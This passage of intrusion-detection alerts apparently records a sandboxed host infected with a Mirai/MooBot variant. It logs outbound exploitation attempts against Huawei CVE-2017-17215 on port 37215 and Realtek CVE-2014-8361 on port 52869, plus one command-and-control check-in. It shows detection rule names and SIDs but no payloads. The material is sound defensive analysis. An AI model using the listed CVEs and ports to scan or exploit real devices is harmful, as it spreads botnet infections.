Source Port:	51722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.15.194.11

Timestamp:	2024-07-20T23:10:39.508504+0200
SID:	2835222
Source Port:	48038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.58.230

Timestamp:	2024-07-20T23:10:41.671583+0200
SID:	2835222
Source Port:	42428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 9.118.192.30

Timestamp:	2024-07-20T23:10:39.442646+0200
SID:	2835222
Source Port:	53362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.46.35.223

Timestamp:	2024-07-20T23:10:40.934362+0200
SID:	2835222
Source Port:	55746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.36.132.118

Timestamp:	2024-07-20T23:10:41.697439+0200
SID:	2835222
Source Port:	40196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.202.153.125

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	39728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 63.125.89.15

Timestamp:	2024-07-20T23:10:42.282535+0200
SID:	2835222
Source Port:	41312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.55.180.63

Timestamp:	2024-07-20T23:10:39.442646+0200
SID:	2835222
Source Port:	40972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.89.116.170

Timestamp:	2024-07-20T23:10:39.446335+0200
SID:	2835222
Source Port:	45306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.230.78.164

Timestamp:	2024-07-20T23:10:40.946479+0200
SID:	2835222
Source Port:	48734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 100.131.155.71

Timestamp:	2024-07-20T23:10:41.677529+0200
SID:	2835222
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.106.52

Timestamp:	2024-07-20T23:10:40.936245+0200
SID:	2835222
Source Port:	49096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.187.16.96

Timestamp:	2024-07-20T23:10:40.936246+0200
SID:	2835222
Source Port:	44222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.57.193.59

Timestamp:	2024-07-20T23:10:39.440597+0200
SID:	2835222
Source Port:	58030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.162.208.185

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	50200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.3.144

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	33292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.174.121.129

Timestamp:	2024-07-20T23:10:48.030125+0200
SID:	2027339
Source Port:	60836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.90.165

Timestamp:	2024-07-20T23:10:39.492274+0200
SID:	2835222
Source Port:	48620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.154.192.149

Timestamp:	2024-07-20T23:10:41.671757+0200
SID:	2835222
Source Port:	57188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.185.22.151

Timestamp:	2024-07-20T23:10:42.276123+0200
SID:	2835222
Source Port:	36198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.190.1.139

Timestamp:	2024-07-20T23:10:40.934363+0200
SID:	2835222
Source Port:	58132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.127.214.18

Timestamp:	2024-07-20T23:10:42.280429+0200
SID:	2835222
Source Port:	43890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 1.160.86.11

Timestamp:	2024-07-20T23:10:40.676560+0200
SID:	2027339
Source Port:	46618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.124.27

Timestamp:	2024-07-20T23:10:42.280294+0200
SID:	2835222
Source Port:	51356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 125.46.245.158

Timestamp:	2024-07-20T23:10:40.656297+0200
SID:	2027339
Source Port:	44114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.117.210.59

Timestamp:	2024-07-20T23:10:42.280294+0200
SID:	2835222
Source Port:	54950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.104.208.132

Timestamp:	2024-07-20T23:10:41.672505+0200
SID:	2835222
Source Port:	39516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.155.196

Timestamp:	2024-07-20T23:10:40.936246+0200
SID:	2835222
Source Port:	59192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.235.116

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	52666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.65.62.180

Timestamp:	2024-07-20T23:10:42.282535+0200
SID:	2835222
Source Port:	33120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.32.38.129

Timestamp:	2024-07-20T23:10:40.933975+0200
SID:	2835222
Source Port:	47566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 89.186.152.105

Timestamp:	2024-07-20T23:10:43.355528+0200
SID:	2027339
Source Port:	37488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.181.234.52

Timestamp:	2024-07-20T23:10:42.282535+0200
SID:	2835222
Source Port:	43966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.36.72.248

Timestamp:	2024-07-20T23:10:46.770658+0200
SID:	2835222
Source Port:	42560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.121.204.204

Timestamp:	2024-07-20T23:10:41.675412+0200
SID:	2835222
Source Port:	43904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.24.39.249

Timestamp:	2024-07-20T23:10:44.627013+0200
SID:	2027339
Source Port:	48182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 193.168.188.87

Timestamp:	2024-07-20T23:10:40.608601+0200
SID:	2835222
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 185.59.206.11

Timestamp:	2024-07-20T23:10:42.708635+0200
SID:	2027339
Source Port:	56304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 208.220.26.36

Timestamp:	2024-07-20T23:10:41.231521+0200
SID:	2835222
Source Port:	34304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.162.237.45

Timestamp:	2024-07-20T23:10:42.278984+0200
SID:	2835222
Source Port:	39138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.117.3.182

Timestamp:	2024-07-20T23:10:41.672505+0200
SID:	2835222
Source Port:	39922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.91.198.123

Timestamp:	2024-07-20T23:10:40.934249+0200
SID:	2835222
Source Port:	55858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.154.203.233

Timestamp:	2024-07-20T23:10:41.672972+0200
SID:	2835222
Source Port:	35026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.114.206.140

Timestamp:	2024-07-20T23:10:39.437234+0200
SID:	2835222
Source Port:	60270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.35.130.251

Timestamp:	2024-07-20T23:10:39.495983+0200
SID:	2835222
Source Port:	37790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.76.73.5

Timestamp:	2024-07-20T23:10:40.936245+0200
SID:	2835222
Source Port:	60454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 15.235.203.214

Timestamp:	2024-07-20T23:10:46.597085+0200
SID:	2030490
Source Port:	55384
Destination Port:	2466
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.176.38.133

Timestamp:	2024-07-20T23:10:39.497211+0200
SID:	2835222
Source Port:	48814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.40.81.92

Timestamp:	2024-07-20T23:10:40.944484+0200
SID:	2835222
Source Port:	53814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.219.106

Timestamp:	2024-07-20T23:10:42.277609+0200
SID:	2835222
Source Port:	36970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.230.83.224

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	36898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.39.190

Timestamp:	2024-07-20T23:10:56.097499+0200
SID:	2835222
Source Port:	37974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.5.164.72

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	49010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.101.3.125

Timestamp:	2024-07-20T23:10:41.697439+0200
SID:	2835222
Source Port:	49106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.81.255

Timestamp:	2024-07-20T23:10:39.518032+0200
SID:	2835222
Source Port:	37364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.192.243

Timestamp:	2024-07-20T23:10:41.671541+0200
SID:	2835222
Source Port:	40522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.20.220.200

Timestamp:	2024-07-20T23:10:39.440597+0200
SID:	2835222
Source Port:	52554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.61.187.214

Timestamp:	2024-07-20T23:10:40.941539+0200
SID:	2835222
Source Port:	58524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.4.12.194

Timestamp:	2024-07-20T23:10:41.672972+0200
SID:	2835222
Source Port:	57010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.125.26.34

Timestamp:	2024-07-20T23:10:39.499338+0200
SID:	2835222
Source Port:	42418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.133.193.71

Timestamp:	2024-07-20T23:10:42.248141+0200
SID:	2835222
Source Port:	34538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.55.86.176

Timestamp:	2024-07-20T23:10:39.446335+0200
SID:	2835222
Source Port:	40404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.17.49.215

Timestamp:	2024-07-20T23:10:40.943560+0200
SID:	2835222
Source Port:	49330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.39.249.198

Timestamp:	2024-07-20T23:10:39.446335+0200
SID:	2835222
Source Port:	57396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.70.57.191

Timestamp:	2024-07-20T23:10:40.935071+0200
SID:	2835222
Source Port:	34274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 162.144.96.77

Timestamp:	2024-07-20T23:10:40.356943+0200
SID:	2027339
Source Port:	60906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.203.242

Timestamp:	2024-07-20T23:10:41.673540+0200
SID:	2835222
Source Port:	38164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.157.229.217

Timestamp:	2024-07-20T23:10:49.377082+0200
SID:	2835222
Source Port:	36534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.178.139.14

Timestamp:	2024-07-20T23:10:52.027465+0200
SID:	2027339
Source Port:	59888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.18.206.159

Timestamp:	2024-07-20T23:10:39.442646+0200
SID:	2835222
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 4.49.242.168

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	58290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.86.230.135

Timestamp:	2024-07-20T23:10:40.934249+0200
SID:	2835222
Source Port:	37342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 80.32.231.92

Timestamp:	2024-07-20T23:10:41.672504+0200
SID:	2835222
Source Port:	38528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.62.253.162

Timestamp:	2024-07-20T23:10:41.234520+0200
SID:	2835222
Source Port:	41220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.182.40.219

Timestamp:	2024-07-20T23:10:40.933931+0200
SID:	2835222
Source Port:	45588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 131.14.103.148

Timestamp:	2024-07-20T23:10:41.248342+0200
SID:	2835222
Source Port:	57506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 158.185.201.45

Timestamp:	2024-07-20T23:10:40.948142+0200
SID:	2835222
Source Port:	48632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.122.22.46

Timestamp:	2024-07-20T23:10:41.232616+0200
SID:	2835222
Source Port:	36266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 40.70.214.228

Timestamp:	2024-07-20T23:10:45.501150+0200
SID:	2027339
Source Port:	46208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.29.61

Timestamp:	2024-07-20T23:10:39.492375+0200
SID:	2835222
Source Port:	41832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.66.203.138

Timestamp:	2024-07-20T23:10:40.943560+0200
SID:	2835222
Source Port:	55578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 53.208.221.28

Timestamp:	2024-07-20T23:10:40.934249+0200
SID:	2835222
Source Port:	39050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.135.74.226

Timestamp:	2024-07-20T23:10:39.488655+0200
SID:	2835222
Source Port:	42676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.93.130

Timestamp:	2024-07-20T23:10:39.449685+0200
SID:	2835222
Source Port:	34812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.186.155

Timestamp:	2024-07-20T23:10:41.675412+0200
SID:	2835222
Source Port:	37846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 172.248.193.236

Timestamp:	2024-07-20T23:10:44.161640+0200
SID:	2027339
Source Port:	55656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.79.113.139

Timestamp:	2024-07-20T23:10:39.492274+0200
SID:	2835222
Source Port:	54592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.28.72.248

Timestamp:	2024-07-20T23:10:52.564314+0200
SID:	2835222
Source Port:	41618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 57.196.110.109

Timestamp:	2024-07-20T23:10:39.492274+0200
SID:	2835222
Source Port:	41170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.114.104.228

Timestamp:	2024-07-20T23:10:41.244364+0200
SID:	2835222
Source Port:	39318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.29.38

Timestamp:	2024-07-20T23:10:39.515430+0200
SID:	2835222
Source Port:	52820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.249.230.34

Timestamp:	2024-07-20T23:10:41.672972+0200
SID:	2835222
Source Port:	60900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.95.36.229

Timestamp:	2024-07-20T23:10:48.679763+0200
SID:	2027339
Source Port:	60570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.30.145.239

Timestamp:	2024-07-20T23:10:40.943560+0200
SID:	2835222
Source Port:	45842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.158.40.220

Timestamp:	2024-07-20T23:10:40.944199+0200
SID:	2835222
Source Port:	48172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 169.37.171.79

Timestamp:	2024-07-20T23:10:39.499880+0200
SID:	2835222
Source Port:	39428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.200.83.92

Timestamp:	2024-07-20T23:10:41.682592+0200
SID:	2835222
Source Port:	51034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.29.68.15

Timestamp:	2024-07-20T23:10:40.934075+0200
SID:	2835222
Source Port:	43508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

